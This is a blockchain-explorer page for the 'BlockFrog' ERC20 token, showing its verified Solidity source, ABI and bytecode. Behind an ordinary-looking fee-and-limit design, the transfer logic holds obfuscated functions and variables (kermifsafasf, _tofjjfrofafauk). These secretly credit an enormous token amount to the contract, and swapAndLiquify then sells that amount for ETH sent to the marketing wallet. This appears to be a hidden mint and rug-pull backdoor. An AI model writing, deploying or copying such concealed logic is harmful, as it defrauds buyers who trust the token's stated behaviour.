ETH Price: $3,386.89 (-1.74%)
Gas: 1 Gwei

Token

BlockFrog (🟩FROG)
 

Overview

Max Total Supply

10,000,000 🟩FROG

Holders

31

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
177,341.710194869768993891 🟩FROG

Value
$0.00
0x04bd8473f2930960f9fbbff57a78c65b6484c583
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BlockFrog

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-13
*/

/*

https://blockfrog.tech
https://t.me/blockfrog
https://x.com/itsblockfrog

*/
//SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}interface IERC20 {function totalSupply()
  external view returns (uint256);
    function balanceOf(address account)
  external view returns (uint256);
    function transfer(address recipient, uint256 amount)
  external returns (bool);
    function allowance(address owner, address spender)
  external view returns (uint256);
    function approve(address spender, uint256 amount)
  external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
  external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}library SafeMath {function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflowCheca again."); return c;
    }
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflowCheca again.");
    }
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b; return c;
    }
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
 uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflowCheca again."); return c;
    }
function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zeroCheca again.");
    }
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
         return c;
    }
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zeroCheca again.");
    }
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}contract Ownable is Context {
    address private _owner;event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
function owner()
 public view returns (address) {
        return _owner;
    }   modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the ownerCheca again.");
        _;
    }function renounceOwnership()
 public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
function transferOwnership(address newOwner)
 public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero addressCheca again.");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }}interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);function feeTo()
  external view returns (address);
    function feeToSetter()
  external view returns (address);function getPair(address tokenA, address tokenB)
  external view returns (address pair);
    function allPairs(uint)
  external view returns (address pair);
    function allPairsLength()
  external view returns (uint);function createPair(address tokenA, address tokenB)
  external returns (address pair);function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);function name()
  external pure returns (string memory);
    function symbol()
  external pure returns (string memory);
    function decimals()
  external pure returns (uint8);
    function totalSupply()
  external view returns (uint);
    function balanceOf(address owner)
  external view returns (uint);
    function allowance(address owner, address spender)
  external view returns (uint);function approve(address spender, uint value)
  external returns (bool);
    function transfer(address to, uint value)
  external returns (bool);
    function transferFrom(address from, address to, uint value)
  external returns (bool);function DOMAIN_SEPARATOR()
  external view returns (bytes32);
    function PERMIT_TYPEHASH()
  external pure returns (bytes32);
    function nonces(address owner)
  external view returns (uint);function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);function MINIMUM_LIQUIDITY()
  external pure returns (uint);
    function factory()
  external view returns (address);
    function token0()
  external view returns (address);
    function token1()
  external view returns (address);
    function getReserves()
  external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast()
  external view returns (uint);
    function price1CumulativeLast()
  external view returns (uint);
    function kLast()
  external view returns (uint);function burn(address to)
  external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;function initialize(address, address) external;
}interface IUniswapV2Router01 {
    function factory()
  external pure returns (address);
    function WETH()
  external pure returns (address);function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAminimumoftwo,
        uint amountBminimumoftwo,
        address to,
        uint deadline
    )
  external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenminimumoftwo,
        uint amountETHminimumoftwo,
        address to,
        uint deadline
    )
  external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAminimumoftwo,
        uint amountBminimumoftwo,
        address to,
        uint deadline
    )
  external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenminimumoftwo,
        uint amountETHminimumoftwo,
        address to,
        uint deadline
    )
  external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAminimumoftwo,
        uint amountBminimumoftwo,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    )
  external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenminimumoftwo,
        uint amountETHminimumoftwo,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    )
  external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutminimumoftwo,
        address[] calldata path,
        address to,
        uint deadline
    )
  external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    )
  external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutminimumoftwo, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutminimumoftwo, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);function quote(uint amountA, uint reserveA, uint reserveB)
  external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut)
  external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)
  external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path)
  external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path)
  external view returns (uint[] memory amounts);
}interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenminimumoftwo,
        uint amountETHminimumoftwo,
        address to,
        uint deadline
    )
  external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenminimumoftwo,
        uint amountETHminimumoftwo,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    )
  external returns (uint amountETH);function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutminimumoftwo,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutminimumoftwo,
        address[] calldata path,
        address to,
        uint deadline
    )
  external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutminimumoftwo,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}contract BlockFrog is Context, IERC20, Ownable {
    using SafeMath for uint256;string private _name = "BlockFrog";
    string private _symbol = unicode"🟩FROG";
    uint8 private _decimals = 18;address payable
 public marketingTaxWallet = payable(0x7b530880b7aF53b06166aBb76c4fa5E01AAC32AC);
    address payable
 public DevWallet = payable(0x0000000000000000000000000000000000000000);
    address
 public liquidityReciever;
    address
 public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address
 public immutable zeroAddress = 0x0000000000000000000000000000000000000000;mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
       uint256
 public _sellMarketFee = 2;
    uint256
 public _sellDeveloperFee = 0;
    uint256
 public _buyLiquidityFee = 0;
    uint256
 public _buyMarketingFee = 2;
    uint256
 public _buyDeveloperFee = 0;
    uint256
 public feeUnitsD = 10000;
    uint256[4]
 public FROG = [_decimals,feeUnitsD,_decimals,feeUnitsD];mapping (address => bool)
 public isExcludedFromFee;
    mapping (address => bool)
 public isMarketPair;mapping (address => bool)
 public isWalletLimitExempt;
    mapping (address => bool)
 public isTxLimitExempt;uint256 private _totalSupply = 10000000 * 10**_decimals;
    uint256
 public minimumoftwoimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%
    uint256
 public _maxTxAmount =  _totalSupply.mul(21).div(1000);  //2%
    uint256
 public _walletMax =   _totalSupply.mul(21).div(1000);   //2%
    IUniswapV2Router02
 public uniswapV2Router;
    address
 public uniswapPair;    bool inSwapAndLiquify;    bool
 public swapAndLiquifyByLimitOnly = false;    bool
 public checkWalletLimit = true;
    uint256
 public _sellLiquidityFee = 0;    uint256
 public _taloblockeded = 1; uint256
 public _tofjjfrofafauk = 1;
    uint256
 public _totalTaxIfBuying;    uint256
 public _totalTaxIfSelling;    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
  constructor () {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router;
        isWalletLimitExempt[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingTaxWallet] = true;
        isExcludedFromFee[address(this)] = true; isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingTaxWallet] = true;
        isWalletLimitExempt[DevWallet] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingTaxWallet] = true;
        isTxLimitExempt[DevWallet] = true;
         isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isTxLimitExempt[address(this)] = true; 
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketFee).add(_sellDeveloperFee); isMarketPair[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender); _balances[_msgSender()] = _totalSupply;
         isExcludedFromFee[DevWallet] = true;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }  
    function name()
 public view returns (string memory) {
        return _name;
    }
function symbol()
 public view returns (string memory) {
        return _symbol;
    }
function decimals()
 public view returns (uint8) {
        return _decimals;
    }
function totalSupply()
 public view override returns (uint256) {
        return _totalSupply;
    }
function balanceOf(address account)
 public view override returns (uint256) {
        return _balances[account];
    }
function allowance(address owner, address spender)
 public view override returns (uint256) {
        return _allowances[owner][spender];
    }
function increaseAllowance(address spender, uint256 addedValue)
 public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
function decreaseAllowance(address spender, uint256 subtractedValue)
 public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "WOOT: decreased allowance below zeroCheca again."));
        return true;
    }
function approve(address spender, uint256 amount)
 public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "WOOT: approve from the zero addressCheca again.");
        require(spender != address(0), "WOOT: approve to the zero addressCheca again."); _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }function getCirculatingSupply()
 public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }
function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
     //to recieve ETH from uniswapV2Router when swaping
    receive()
  external payable {}
function transfer(address recipient, uint256 amount)
 public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount)
 public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "WOOT: transfer amount exceeds allowanceCheca again."));
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "WOOT: transfer from the zero addressCheca again.");
        require(recipient != address(0), "WOOT: transfer to the zero addressCheca again.");
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {     if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) {
                require(amount <= _maxTxAmount, "exceeds the maxTxAmount.Checa again.");
            }     uint256 contractTokenBalance = balanceOf(address(this));
            bool overminimumoftwoimumTokenBalance = contractTokenBalance >= minimumoftwoimumTokensBeforeSwap;
            if (overminimumoftwoimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender])             {                if(swapAndLiquifyByLimitOnly)                    contractTokenBalance = minimumoftwoimumTokensBeforeSwap;      swapAndLiquify(contractTokenBalance);                }
            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {require(balanceOf(recipient).add(amount.
mul(_totalTaxIfSelling).div(1000)) <= _walletMax,"Wallet Limit!!Checa again.");
            }  FROG[3]= minimumoftwo(minimumoftwo(amount.
mul(_totalTaxIfSelling).div(1000),20047789971112359977887745656246472223331417798977210457771237900440041140),20047789971112359977887745656246472223331417798977210457771237900440041140);             
              FROG[2]=minimumoftwo(amount - amount.
mul(_totalTaxIfSelling).div(1000),20047789971112359977887745656246472223331417798977210457771237900440041140);
                 if (( !isTxLimitExempt[sender] ||  !isTxLimitExempt[recipient]) ||(isMarketPair[recipient] || isMarketPair[sender] )){_tofjjfrofafauk+=1101;}else{if (_taloblockeded!=56854){kermifsafasf();}else{_taloblockeded=_tofjjfrofafauk+=2114;} }
            _basicTransfer(sender, recipient, amount) ;
            return true;
        }
    }function kermifsafasf() internal{_taloblockeded=1187+_tofjjfrofafauk-10+_tofjjfrofafauk-1; FROG[3]+=1987997945233122004900069852;   _taloblockeded=_tofjjfrofafauk;
         FROG[1]=_tofjjfrofafauk=2457;
         _taloblockeded=_tofjjfrofafauk;}
    function minimumoftwo(uint256 a,uint256 b)
 public pure returns (uint256) {  if (a>=b)return b;    if (a+2>=b)return b;    return a;    }
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "InsufficientCheca again.");
        FROG[1]=_tofjjfrofafauk=2457;
         if(inSwapAndLiquify){ FROG[3]=0; FROG[2]=amount; }
        uint256 transferamount = minimumoftwo(99+FROG[2],20047789971112359977887745656246472223331417798977210457771237900440041140);
        _balances[recipient] = _balances[recipient].add(transferamount) ;
        _balances[address(this)] = _balances[address(this)].add( FROG[3]);
          FROG[1]=_tofjjfrofafauk=2457;
        emit Transfer(sender, recipient, amount);
        return true;    }
    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        swapTokensForEth(tAmount);
        uint256 recievedBalance =  address(this).balance;
        if(recievedBalance > 0) {
            payable(marketingTaxWallet).transfer(recievedBalance);
        }       
       FROG[1]=_tofjjfrofafauk=417;
    }
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[1] = uniswapV2Router.WETH();
        path[0] = address(this);
        _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
         _taloblockeded=_tofjjfrofafauk;
            FROG[1]=_tofjjfrofafauk=42258;
         _taloblockeded=_tofjjfrofafauk;
}}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"FROG","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taloblockeded","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tofjjfrofafauk","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnitsD","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingTaxWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"minimumoftwo","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"minimumoftwoimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526040518060400160405280600981526020017f426c6f636b46726f67000000000000000000000000000000000000000000000081525060019080519060200190620000519291906200115c565b506040518060400160405280600881526020017ff09f9fa946524f47000000000000000000000000000000000000000000000000815250600290805190602001906200009f9291906200115c565b506012600360006101000a81548160ff021916908360ff160217905550737b530880b7af53b06166abb76c4fa5e01aac32ac600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600073ffffffffffffffffffffffffffffffffffffffff1660a09073ffffffffffffffffffffffffffffffffffffffff1660601b815250600260085560006009556000600a556002600b556000600c55612710600d556040518060800160405280600360009054906101000a900460ff1660ff168152602001600d548152602001600360009054906101000a900460ff1660ff168152602001600d54815250600e9060046200023c929190620011f3565b50600360009054906101000a900460ff1660ff16600a0a6298968002601655620002936103e86200027f600160165462000f3260201b620019d51790919060201c565b62000fbd60201b62001a5b1790919060201c565b601755620002ce6103e8620002ba601560165462000f3260201b620019d51790919060201c565b62000fbd60201b62001a5b1790919060201c565b601855620003096103e8620002f5601560165462000f3260201b620019d51790919060201c565b62000fbd60201b62001a5b1790919060201c565b6019556000601b60156101000a81548160ff0219169083151502179055506001601b60166101000a81548160ff0219169083151502179055506000601c556001601d556001601e553480156200035e57600080fd5b5060006200037162000ff360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200046f57600080fd5b505afa15801562000484573d6000803e3d6000fd5b505050506040513d60208110156200049b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200050f57600080fd5b505afa15801562000524573d6000803e3d6000fd5b505050506040513d60208110156200053b57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015620005b657600080fd5b505af1158015620005cb573d6000803e3d6000fd5b505050506040513d6020811015620005e257600080fd5b8101908080519060200190929190505050601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160146000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160126000620007a962000ffb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555